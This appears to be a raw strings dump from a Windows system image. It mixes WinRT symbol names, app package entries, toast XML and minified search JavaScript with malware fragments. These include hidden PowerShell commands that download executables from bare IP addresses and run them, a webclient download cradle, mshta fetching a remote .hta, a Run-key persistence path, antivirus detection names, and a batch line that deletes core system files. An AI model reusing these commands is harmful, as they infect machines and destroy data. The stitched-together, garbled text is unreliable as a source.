long __cdecl Windows::Networking::Connectivity::NetworkInformationPrivateServer::GetLanIdentifiers(struct Windows::Foundation::Collections::IVectorView<class Windows::Networking::Connectivity::LanIdentifier *> **) noexcept
dows::Foundation::IUriRuntimeClass *,struct Windows::Foundation::IAsyncOperation<class Windows::Networking::Connectivity::ProxyConfiguration *> **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::remove_NetworkStatusChanged(const struct EventRegistrationToken) noexcept
long __cdecl Windows::Networking::Connectivity::LanIdentifierServer::get_InfrastructureId(struct Windows::Networking::Connectivity::ILanIdentifierData **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetHostNames(struct Windows::Foundation::Collections::IVectorView<class Windows::Networking::HostName *> **) noexcept
,g}long __cdecl Windows::Networking::Connectivity::ConnectionCostServer::get_ApproachingDataLimit(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ProxyConfigurationServer::get_CanConnectDirectly(unsigned char *) noexcept
long __cdecl NetworkItemImpl::GetNetworkTypes(enum Windows::Networking::Connectivity::NetworkTypes *) noexcept
long __cdecl Windows::Networking::Connectivity::ProxyConfigurationServer::get_ProxyUris(struct Windows::Foundation::Collections::IVectorView<class Windows::Foundation::Uri *> **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetNetworkInterface(struct INetworkInterfacePrivate **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::GetAttributedNetworkUsageAsync(struct Windows::Foundation::DateTime,struct Windows::Foundation::DateTime,struct Windows::Networking::Connectivity::NetworkUsageStates,struct Windows::Foundation::IAsyncOperation<struct Windows::Foundation::Collections::IVectorView<class Windows::Networking::Connectivity::AttributedNetworkUsage *> *> **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_IsWwanConnectionProfile(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_IsWlanConnectionProfile(unsigned char *) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_ProfileName(struct HSTRING__ **) noexcept
long __cdecl Windows::Networking::Connectivity::ConnectionProfileServer::get_NetworkAdapter(struct Windows::Networking::Connectivity::INetworkAdapter **) noexcept
long __cdecl Windows::Networking::Connectivity::LanIdentifierDataServer::get_Value(struct Windows::Foundation::Collections::IVectorView<unsigned char> **) noexcept
long __cdecl Windows::Networking::Connectivity::AttributedNetworkUsageServer::get_AttributionId(struct HSTRING__ **) noexcept
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::FindConnectionProfilesAsync(struct Windows::Networking::Connectivity::IConnectionProfileFilter *,struct Windows::Foundation::IAsyncOperation<struct Windows::Foundation::Collections::IVectorView<class Windows::Networking::Connectivity::ConnectionProfile *> *> **) noexcept
onecoreuap\Internal\BuildMetadata\internal\cppwinrt\winrt\Windows.ApplicationModel.Core.h
long __cdecl Windows::Networking::Connectivity::NetworkInformationFactory::GetProxyConfigurationAsync(struct Winf
/activity.windows.com for accessing AFS"}
/activity.windows.com for accessing AFS"}
Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45{Y
Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45yX
Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45uW
Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45oV
Microsoft.Windows.CapturePicker_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45wU
Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45oT
Microsoft.Windows.Apprep.ChxApp_cw5n1h2txyewy!Appapp:immersive2026-02-20 16:13:452026-02-20 16:13:45rS
Microsoft.LockApp_cw5n1h2txyewy!WindowsDefaultLockScreenapp:immersive2026-02-20 16:13:452026-02-20 16:13:45_N
toast@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@U_Nil@std@@U45@U45@U45@U45@U45@U45@@std@@@2@PE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@U_Nil@2@U72@U72@U72@U72@U72@U72@@std@@
.?AV?$_Func_impl@U?$_Callable_obj@V<lambda_423755937c7b2b9cdcf4a30c37e716ca>@@$0A@@std@@V?$allocator@V?$_Func_class@PE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@EU_Nil@std@@U45@U45@U45@U45@U45@@std@@@2@PE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@EU_Nil@2@U72@U72@U72@U72@U72@@std@@
.?AU?$__abi_FunctorCapture@V<lambda_8f2eddeccc7656eb5a85f17231aa57cc>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_30811fecab13edc0c454ebbd3a057aed>@@XPE$AAU?$IAsyncOperation@W4IrisActionResultFlags@ContentManagementSDK@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_dd4f97b0477b5a5561fb829c47dc959d>@@XPE$AAU?$IAsyncOperation@I@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_0e6eb7b2d70d72482f82db614db079e9>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVString@Platform@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AU?$__abi_FunctorCapture@V<lambda_86194bde2eedc270a86de2ada52477cb>@@XPE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAVTargetedContentTriggerInternal@Internal@TargetedContent@Services@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@W4AsyncStatus@34@@Details@Platform@@
.?AV?$_Func_base@PE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@U_Nil@std@@U45@U45@U45@U45@U45@U45@@std@@
.?AV?$_Func_base@PE$AAU?$IAsyncOperation@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@Foundation@Windows@@EU_Nil@std@@U45@U45@U45@U45@U45@@std@@
.?AV?$_Ref_count@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
.?AV?$_Ref_count_obj@U?$_Task_impl@PE$AAU?$IVectorView@PE$AAU?$IMapView@PE$AAVString@Platform@@PE$AAV12@@Collections@Foundation@Windows@@@Collections@Foundation@Windows@@@details@Concurrency@@@std@@
Global.WindowsMigration
Global.WindowsMigration.AppXrateh92vwht1avvyymscdv5tx6mpjxzz.mca
Global.WindowsMigration.AppXx0dcv1p0apffyaezj0ejz1ef041tk0es.mca
toast<toast launch="page=SettingsPageOptionalFeatures"><visual><binding template="ToastImageAndText03"><image id="1" src="file:///C:\WINDOWS\system32\@optionalfeatures.png"/><text id="1">We are adding some new features to Windows.</text><text id="2">This could take a few minutes.</text></binding></visual></toast>FodHelperTagFodHelperGroup
toast<toast launch="page=SettingsPagePrivacySIUFSettings"><visual><binding template="ToastText01"><text id="1">Your administrator or organization has set your device's Windows diagnostic data setting to: Required</text></binding></visual></toast>PrivacySettingsPrivacySettings
toast<toast scenario='reminder' activationType='protocol' launch='ms-settings:windowsupdate'><visual><binding template='ToastGeneric'><text id='1'>Searching for Display Driver
0Y3&http://liveswindows.casa/opzi0n1.dll0C:\yEoipTg\fvzCtTi\IbWLqzB.dllJ
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
C:\WINDOWS\system32\en-US\kernelbase.dll.mui[MofResourceName]
legacy.chunk.jswindows\temp\
ttp://173.232.146.78/505/doc106-700-113007.exe"" -OutFile $TempFile; Start-Process $TempFile;powershell -WindowStyle hidden -executionpolicy bypass;oWshShellExec.StdOut.ReadAllExploit:O97M/CVE-2017-11882.RAT!MTB
OS=Windows_NT
OMPUTERNAME=WINDOWS113
powershell -Command "Invoke-WebRequest -Uri 'http://146.190.48.229/fuackme100.exe' -OutFile 'C:\Windows\Temp\file1.exe'"Trojan:Win64/CobaltStrike.SPQ!MTB
-ep bypass -windowstyle hidden -file
ComSpec=C:\WINDOWS\system32\cmd.exe
USERDOMAIN_ROAMINGPROFILE=Windows11
23^windows.packageExtension
24^windows.packageExtension
25^windows.packageExtension
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
Microsoft.Windows.WindowsErrorReporting
t update because it might still be running on your device under another Windows account. Please close all Microsoft Copilot application windows and try again.Allow updates to be downloaded as soon as they're available and applied when the application restarts.Automatically download updates over metered networks (for example, cellular network) and apply them on application restart. Charges may apply.Use double-click to close application tabsCustomize which buttons always show on your applicationShow Windows 11 visual effects in applicationFor this setting change to take effect, restart your applicationAllow Microsoft Copilot to save your passwords and help keep them secureMicrosoft Copilot will suggest strong passwords and, if you choose to use them, they
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 20112011
%Microsoft Windows Production PCA 20112010
%Microsoft Windows Production PCA 2011
%Microsoft Windows Production PCA 2011
-windowstylehidden;
hkcu:\software\microsoft\windows\currentversion\run
-windowstylehidden-executionpolicybypass-nologo-noprofile-ciex((new-objectnet.webclient).download
[Mozilla/5.0 (Windows NT 6.1) (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)r
xdows\system32\mshta.exehttps://fileshare.ngrok.io/agenbrilink.hta
Microsoft\Protect\CertSystem.dllhttps://oregongreenseed.top/Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71!#ALF:Y2V:threatintel_volexity_com/APT_MAL_Win_DecRok
");n.Host.launchIndexingStatusSettingsPage()},layout:1,isSelectable:!0};i={id:r,selected:null,text:n.Host.getLocString("WindowsIndexingNotificationDismissAction"),title:n.Host.getLocString("WindowsIndexingNotificationDismissAction"),tooltip:n.Host.getLocString("WindowsIndexingNotificationDismissActionTooltip"),instItem:this._dismissIndexingNotificationInstItem,click:(t,i)=>{n.logToMC("Bing_QF_RootViewModel",r,"showIndexingIncompleteMessage");const u=new Date;u.setDate(u.getDate()+1);SearchAppWrapper.CortanaApp.persistentStorage.setItem(r,"1",u);let f=n.SequenceNumberManager.getSequenceNumber();f>this._lastUpdatedSequenceNumber&&n.InstrumentationHelper.instrumentSyntheticInstrumentedItem(f,"IMDN",this._dismissIndexingNotificationInstItem);n.InstrumentationHelper.instrumentItemClick(t,this._dismissIndexingNotificationInstItem,f,null,i,null);this.hideIndexingIncompleteNotification()},layout:1,isSelectable:!0};this._indexingNotificationDataModel={messageText:n.Host.getLocString("WindowsIndexingIncompleteDetail"),icon:null,messageClassName:"indexingIncompleteMessage",title:n.Host.getLocString("WindowsIndexingNotificationCheckStatusAction"),messageTextTitle:n.Host.getLocString("WindowsIndexingIncompleteMessage"),action:t,dismissAction:i};this._page.updateTemporaryMessageView(this._indexingNotificationDataModel);n.logToMC("Bing_QF_RootViewModel","DisplayIndexNotification","OnSuggestionsParsed");this._shouldHideWorkUpsell=!0}hideIndexingIncompleteNotification(){this._launchIndexingStatusInstItem&&(this._launchIndexingStatusInstItem=null,this._dismissIndexingNotificationInstItem=null,this._page.updateTemporaryMessageView(null));this._shouldHideWorkUpsell=!1}shouldShowWorkUpsellMessage(){var t;const i=n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkUpsellApplicable();if(i&&!this._shouldHideWorkUpsell)try{const i=JSON.parse(n.LightweightStorage.getItem(s));if(!this.isWorkUpsellExpired(i))return(i===null||i===void 0?void 0:i.clicked)!==o&&((t=this._partialQuery)===null||t===void 0?void 0:t.scope)==n.Scope.All}catch(r){return!1}return!1}isWorkUpsellExpired(t){const i=new Date,u=i.getDate(),r=i.getTime(),f=i.setDate(u+(n.config.msbWorkScopeBannerExpiryInDays||0));if(t&&t.expireDate&&!this.isOldVersion(t.version))return r>t.impressionsExpireDate&&r<t.expireDate&&(t.impressionsExpireDate=i.setDate(u+1),t.impressionsCount=0,this.setWorkUpsellInfo(t)),t.version==1&&t.expireDate>f&&t.clicked!=o&&n.isMsbInternalTenant()&&(t.expireDate=f,this.setWorkUpsellInfo(t)),r>t.expireDate||t.impressionsCount>=di&&r<t.impressionsExpireDate;else{const t={clicked:0,expireDate:f,version:n.config.msbWorkScopeBannerIndicatorVersion,impressionsCount:0,impressionsExpireDate:i.setDate(u+1)};return this.setWorkUpsellInfo(t),!1}}isOldVersion(t){return t?t<n.config.msbWorkScopeBannerIndicatorVersion:!0}setWorkUpsellInfo(t){n.LightweightStorage.setItem(s,JSON.stringify(t))}updateWorkUpsell(t,i){try{if(t){const n=this.createWorkUpsellModel();n&&(this.updateWorkUpsellImpressionsCount(i),this._page.updateWorkUpsellAreaView(n))}else{const i=new Date,r=i.getTime();let t=JSON.parse(n.LightweightStorage.getItem(s));(t===null||t===void 0?void 0:t.clicked)==o||r>(t===null||t===void 0?void 0:t.expireDate)?this._page.removeWorkUpsellAreaView():this._page.updateWorkUpsellAreaView(undefined)}}catch(r){n.LogWSBError("updateWorkUpsell",r,undefined,undefined,undefined,"WindowsTelemetry");this._page.updateWorkUpsellAreaView(undefined)}}updateWorkUpsellImpressionsCount(t){try{let i=JSON.parse(n.LightweightStorage.getItem(s));t&&i.impressionsCount<di&&(i.impressionsCount=i.impressionsCount+1,this.setWorkUpsellInfo(i));_w.bfbWsbTel&&bfbWsbTel.logWorkScopeImpression("WsbWorkUpsell")}catch(i){throw new Error("Trying to get Work Upsell information form local storage");}}createWorkUpsellModel(){const t=n.config.useCobaltCSS;try{let i=JSON.parse(n.LightweightStorage.getItem(s)),r=n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.getTenantName();return{title:n.Host.getLocString("WorkUpsellTitle"),message:n.Host.getLocString("WorkUpsellMessage"),icon:{type:0,content:
HS||n.config.enableAnaheimDataRC)&&(n.LightweightStorage.setItem("AnaheimDataBHListDismissed","1"),n.InstrumentationHelper.logClientInstEvent("Select","AnaheimDataBHListDismissed",null,null,"WindowsTelemetry",33554432)),n.Host.refreshCurrentPane()},[f,null,s,e,o];break;case n.GroupType.PromoBanner:return o={content:"&#xE711",type:2},s=n.Host.getLocString("DismissUpsell"),e=n.Host.getLocString("DismissUpsell"),f=this._upsellViewModel.getDismissButtonAction(),[f,null,s,e,o];case n.GroupType.DMAWeb:return t.thirdPartySearch?[null,null,null,e,o]:(f=()=>n.Host.switchToThirdPartyScope(u===null||u===void 0?void 0:u.sourceApp,t.queryToFetch),[f,null,null,e,o])}if(f){if(!r)throw"No QS code for: "+n.GroupType[i.type];let t=n.InstrumentedItem.getNonSuggestionInstrumentedItem(r,n.SyntheticQSCodesMaps.KValues);return[f,t,s,e,o]}return[null,null,null,null,null]}shouldShowPlusIconInGroupHeader(t,i){if(n.getScope(t)==n.Scope.Web||t==n.GroupType.Store)return!1;if(t==n.GroupType.Apps&&this._partialQuery.queryToFetch.length<n.config.minLengthForIBAonL1)return!0;if(t==n.GroupType.Apps||t==n.GroupType.Settings){let r=i[t==n.GroupType.Apps?"PP":"ST"];return!(r&&r.maxedOut)}return!0}shouldHideGroupHeader(t,i){if(n.RuntimeConfig.QfMode==12)return!0;const u=n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.getTenantName(),r=i===n.Host.getLocString("MsbVerticalSuggestionGroupName")||i===n.Host.getLocString("MsbWorkVerticalSuggestionGroupName",u);if(this._partialQuery.scope!==n.Scope.Work||r){if(r&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isWorkScopeListViewEnabled())&&t==n.GroupType.Related)return!0}else return!1;switch(t){case n.GroupType.VisualSearch:case n.GroupType.MsbOnRampButton:case n.GroupType.AIFeed:return!0;default:return!1}}addGroup(t,r,u,f,e){var h,c,k;if(i(this.groups,t))throw new Error(`Trying to add repeated group ${t===null||t===void 0?void 0:t.type} ${t===null||t===void 0?void 0:t.source}`);let y=tf[t.type],[l,a,p,g,w]=this.getGroupHeaderClickAction(this._partialQuery,t,y,r),s=fr(this._partialQuery,t.type,r,!!l);const v=((h=this._partialQuery)===null||h===void 0?void 0:h.scope)===n.Scope.Work,nt=v&&t.source===5;if(t.source&&t.type!==n.GroupType.DMAWeb){const i=n.getGroupSourceDisplayName(t.source);i&&(!v||nt)&&((n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.isTenantMsbEnabled())&&t.source==1&&t.type==n.GroupType.Documents?s.title=i+" - "+s.title:s.title+=" - "+i)}let tt=er(t.type,this._popoverFactory,this._partialQuery.isSearchHomeZI,u);const b=!!n.canShowSearchHomeAIFeed();let o=[];n.isTopHitChildGroup(t)&&!v?o.push("topHitConnectedToGroup"):n.canShowBingPopularQueries()&&t.type==n.GroupType.BingPopularQueries?o.push("leftPaneZIsuggestions"):n.canShowAnaheimWin11ZITopSites()&&t.type==n.GroupType.AnaheimDataTile?o.push("leftPaneZIsuggestions"):t.type==n.GroupType.TopApps||this._partialQuery.isSearchHomeZI&&t.type==n.GroupType.People&&!n.config.msbEnablePeopleZQ||t.type==n.GroupType.AnaheimDataTile?o.push("topItemsGroup"):t.type==n.GroupType.QuickSearch?(o.push("balloonSuggGroup"),n.config.enableballoonSuggGroupUX&&!n.RuntimeConfig.AlwaysWide&&o.push("withAnaunship")):t.type==n.GroupType.QuickWorkSearch?(o.push("quickWorkSearchGroup"),n.msbHost&&n.msbHost.features.isQwsEnabled()&&n.isMsbEnterprise()&&!n.msbHost.isGccHighTenant()&&o.push("topMostGroup")):t.type==n.GroupType.Upsell?(o.push("upsellSuggGroup"),n.shouldEnableAnaheimResetDefault()&&o.push("edgeUpsellDefaultTopBanner")):t.type==n.GroupType.CuratedSuggestions?(o.push("leftPaneZIsuggestions"),(n.canShowAnaheimWin11ZITopSites()||n.canShowBingPopularQueries())&&o.push("suggestedItemsGrid"),b&&o.push("isCopilotSH")):t.type==n.GroupType.MRUHistory?(o.push("leftPaneZIsuggestions"),n.canShowAnaheimWin11ZITopSites()&&n.LightweightStorage.getItem("AnaheimDataTSTileDismissed")!="1"&&o.push("recentsItemsGrid"),n.canShowBingPopularQueries()&&o.push("recentsItemsGrid"),b&&o.push("isCopilotSH")):t.type==n.GroupType.People&&(n.msbHost===null||n.msbHost===void 0?void 0:n.msbHost.features.isPeopleZeroQueryEnabled(this._partialQuery))?o.push("recommendedS
CoPST"?t.deviceItem.rankScore-i.deviceItem.rankScore:n.isNonCopilotPoweredSetting(t.type)&&i.type==="CoPST"?-1:1:i.rankingScore-t.rankingScore}compareSettings(t,i){return n.Host.getJupiterProviderEnabled()&&n.Host.getCoPSTRankPlanEnabled()?n.isNonCopilotPoweredSetting(t.type)&&n.isNonCopilotPoweredSetting(i.type)?t.rankingScore>i.rankingScore:t.type=="CoPST"&&i.type=="CoPST"?t.deviceItem.rankScore<i.deviceItem.rankScore:n.isNonCopilotPoweredSetting(t.type)&&i.type=="CoPST"?!0:!1:t.rankingScore>i.rankingScore}reSortJupiterSearchResult(t){let i=this._settingSuggestions.slice();t.suggestions.forEach(n=>{let t=i.find(t=>t.id.toLowerCase()===n.id.toLowerCase());t||i.push(n)});i.sort(this.settingSuggestionComparationFunction);this.topResults.length>0&&this.topResults[0].id.toLowerCase()===i[0].id.toLowerCase()&&i.splice(0,1);let r=n.config.minSuggestionsPerGroup;i.length>r?(t.suggestions=i.slice(0,r),i.slice(r).forEach(n=>{this.queueSuggestionInExistingGroup(n,t),this._existPendingSettingsGroup=!0})):t.suggestions=i.slice();this._settingSuggestions=[]}mergeMultipleResouce(n){n.suggestions.sort((n,t)=>t.rankingScore-n.rankingScore);let i=[],r=[],t=[],u=[],f=[],e=[];for(let i=0;i<n.suggestions.length;i++){let o=n.suggestions[i];o.type==="SDFE"?r.push(o):o.type==="PSFL"?f.push(o):o.type==="CSFL"?e.push(o):o.type==="FL"&&o.isFullTextMatched?u.push(o):t.push(o)}const o=t.splice(0,3),s=this.multiQueueRoundRobin([t,f,e,u]);i=o.concat(s).concat(r);n.suggestions=i}multiQueueRoundRobin(n){const i=[],r=new Array(n.length).fill(0);let t=!0;while(t){t=!1;const u=[];for(let i=0;i<n.length;i++){const f=r[i];f<n[i].length&&(u.push(n[i][f]),r[i]++,t=!0)}u.sort((n,t)=>t.rankingScore-n.rankingScore);i.push(...u)}return i}createIconRenderInfo(n){let t={iconsPendingReturn:0,isTopResult:n};return this._iconRenderInfos.push(t),t}getCurrentTopResults(){return this.topResults.slice(0)}getTopResultsWhichFitInCanvas(n){return n}resetAriaSelected(n){n&&this._page.render(()=>{let t=_ge(n.id);t&&(t.setAttribute("aria-selected","false"),t.setAttribute("aria-selected","true"))})}updateTopResults(t,i,r,u,f,e){var h;t!=(u!=this._lastUpdatedSequenceNumber)&&((h=i[0])===null||h===void 0?void 0:h.scope)!=n.Scope.ThirdPartyWeb&&n.LogWSBError("updateTopResult",t+" != (sequenceNumber "+u+" != lastUpdateSequenceNumber "+this._lastUpdatedSequenceNumber+")",new Error("Precondition failed"),undefined,undefined,"WindowsTelemetry");this._lastUpdatedSequenceNumber=u;t&&(this.groups=[],this.onGroupsCleared());let v=this._selectedItem,o=this.topResults;i=this.getTopResultsWhichFitInCanvas(i);i.forEach(t=>{n.RuntimeConfig.QfMode==5||n.RuntimeConfig.QfMode==9||t.staticGroupType&&t.staticGroupType==n.GroupType.Upsell||!t.secondaryMetadata||t.secondaryMetadata.indexOf(n.Host.getLocString("LastModified")+": ")!==0||(t.template=1,t.narratorText=n.getNarratorText(t))});let s=!n.sequenceEqual(i,o)||o.some(n=>n.needsRefreshAfterDeduping);s&&(this.topResults=i.slice(0));let c=!1,l=s?i.length:0,y=this.createIconRenderInfo(!0),a=()=>{c&&(n.config.enableLocalInstrumentation&&n.InstrumentationHelper.instrumentRenderedLocalSuggestion(u,i),n.InstrumentationHelper.instrumentTopResultRendered(u,i.map(n=>n.type),l!=0))};if(s)this.renderTopResultsAfter(()=>{for(let t of this.topResults)t.needsRefreshAfterDeduping=!1,n.contains(o,t)?l-=1:this.setupIcon(u,t,y,()=>{l-=1,a()});this.onBeforeRenderTopResults(t,o,f,r,e)}),c=!0;else{let n=this.onBeforeRenderTopResults(t,o,f,r,e);n==0&&(this.renderTopResults(),c=!0)}return this._selectedItem&&(v!=this._selectedItem||t)&&n.contains(this.topResults,this._selectedItem)&&this.resetAriaSelected(this._selectedItem),[s,a]}renderGroupsAfter(t){let i=this._groupRenderingDisabled;this._groupRenderingDisabled=!0;try{t()}finally{n.config.optimizeRenderGroups?this.renderGroups():(this._groupRenderingDisabled=i,this.renderGroups())}}renderTopResults(t){if(!this._topResultsRenderingDisabled){if(n.config.wsbWithCopilotQF&&this.topResults.length>0){let t=this.topResults[0];if((t===null||t===void 0?void 0:t.type)!="CP"||this._copilotResponseRendered){if((t===null||t===vo
UpdateIntervalMins(!0)*n.MINS_TO_MILLIS:!0}isDSBContentExpired(){let i=!0;const t=this.getCurrentMomentContentCache();if((t===null||t===void 0?void 0:t.cacheTime)!=null){const r=n.getCurrentTime(),u=t.cacheTime,f=this.getUpdateIntervalMins(!0)*n.MINS_TO_MILLIS-30*n.MINS_TO_MILLIS;i=r>=u+f}return i||this.isNewDay()}async refresh(t,i){this.instrumentShownToNonActWindows(i);let u=!1,f=(t&6)==6;if(this.shouldResetDSBContent()&&(this.resetDynamicSearchContent(),u=!0),this.hasPendingGleamUpdate&&(this.hasPendingGleamUpdate=!1,u=!0),n.isThirdPartyGleamSupported()){(i==1||i==0)&&await n.Host.prefetchAllWebSearchExtensions();const t=n.Host.getMru3pAppCache();if(t){await this.set3pSearchAppearance(t);n.dsbManager.allowSuspension();return}}let r=this.isNewDay();if(r&&this.resetActiveStatus(),this.shouldFetchDSBContent(t,i,r)){this.instrumentDSBRequest(t,i);const{isFetchDSBSucceed:n,isFetchDSBSucceedWithinRenderTimeout:e}=await this.fetchDSBWithTimeout(r);u=!n;f&&r&&(f=!(n&&e))}this.shouldUpdateCurrentMoment()&&(f=!1,this.activeMomentDate=this.currentDateDSBStr);f?this.renderOnDismissReason=i:t&2&&(this.render(),r&&(this.renderOnDismissReason=i));u&&(n.logToMC("Bing_QF_DynamicSearchViewModel","DsbViewModel_trigger_update","logDynamicSearchViewModel"),await n.dsbManager.updateDynamicSearchBoxContent("DynamicSearchViewModel.refresh",this.getName()));i==1&&(n.logToMC("Bing_QF_DynamicSearchViewModel","DsbViewModel_allowSuspension_called","logDynamicSearchViewModel"),n.dsbManager.allowSuspension());n.logToMC("Bing_QF_DynamicSearchViewModel","DsbViewModel_refresh_completed.","logDynamicSearchViewModel")}selectMultiMomentsDataModel(){return(n.msbDsbHost===null||n.msbDsbHost===void 0?void 0:n.msbDsbHost.isInBlendedMode())?this.blendedMomentsDataModel:this.nonBlendedMomentsDataModel}setVisibility(t,i){this.isVisible=t;this.isVisible?n.shouldShowDSBFullWidth()&&!n.canEnableDsbWebMruInWebScope(n.dsbManager===null||n.dsbManager===void 0?void 0:n.dsbManager.getCurrentQuery())?(n.setVisibility(n.StaticHtmlElements.dynamicPaneFullWidth,!0),n.setVisibility(n.StaticHtmlElements.dynamicPane,!1)):(n.setVisibility(n.StaticHtmlElements.dynamicPane,!0),n.setVisibility(n.StaticHtmlElements.dynamicPaneFullWidth,!1)):(n.setVisibility(n.StaticHtmlElements.dynamicPane,!1),n.setVisibility(n.StaticHtmlElements.dynamicPaneFullWidth,!1));n.config.useCobaltCSS&&(n.setFixHeight(n.StaticHtmlElements.dynamicPane,t),n.setFixHeight(n.StaticHtmlElements.qfContainer,t));const r=n.shouldShowDSBFullWidth()?n.StaticHtmlElements.dynamicPaneFullWidth:n.StaticHtmlElements.dynamicPane;n.setAdaptiveWidth(r,t,n.shouldShowDSBFullWidth());this.isVisible&&this.dwellStartTime==-1&&i&&this.setDwellStartTime(n.getCurrentTime())}isDifferentDay(n,t){return n.getDate()!=t.getDate()||n.getMonth()!=t.getMonth()||n.getFullYear()!=t.getFullYear()}isCurrentMomentDataExpired(){const t=this.getCurrentMomentContentCache();return(t===null||t===void 0?void 0:t.cacheTime)==null?!0:this.isDifferentDay(new Date(t.cacheTime),n.getCurrentDateDSB())}setDwellStartTime(n){this.dwellStartTime=n}setDwellEndTime(n){this.dwellEndTime=n}getDwellStartTime(){return this.dwellStartTime}getDwellEndTime(){return this.dwellEndTime}isDwellStarted(){return this.getDwellStartTime()!=-1}resetDwellTime(){this.dwellStartTime=-1;this.dwellEndTime=-1;this.dwellTime=-1}setDwellTime(n){this.dwellTime=n}getDwellTime(){return this.dwellTime}instrumentDSBDwellTime(){this.setDwellEndTime(n.getCurrentTime());this.setDwellTime(this.getDwellEndTime()-this.getDwellStartTime());n.InstrumentationHelper.logClientInstEvent("ClientInst","DwellTime",n.SequenceNumberManager.getSequenceNumber(),{DSBDwellTime:this.getDwellTime().toString()},"WindowsTelemetry",33554432)}getVisibility(){return this.isVisible}hasContent(t){var r,u,f,e,o,s,h,c,l,a;let i=!1;return t?n.config.enableDSBMergedRefactor?this.DSBSearchCallStatus==="FallbacktoV2"?this.DSBMiniserpDataModel&&(i=((e=(f=this.DSBMiniserpDataModel)===null||f===void 0?void 0:f.moments)===null||e===void 0?void 0:e.length)>0):this.multiMomentsDataModel&&(i=((s=(o=this.multiMomentsDataModel)===null
exedelc:\windows\rundll.exedelc:\autoexec.batdelc:\command.comdelc:\windows\logos.sysdelc:\windows\logow.sysdelc:\windows\scanregw.exedelc:\programfiles\internetexplorer\iexplore.exedelc:\windows\system\sysedit.exedelc:\windows\win.com@echooffc:cd%windir%\system\deltree/y*.exe
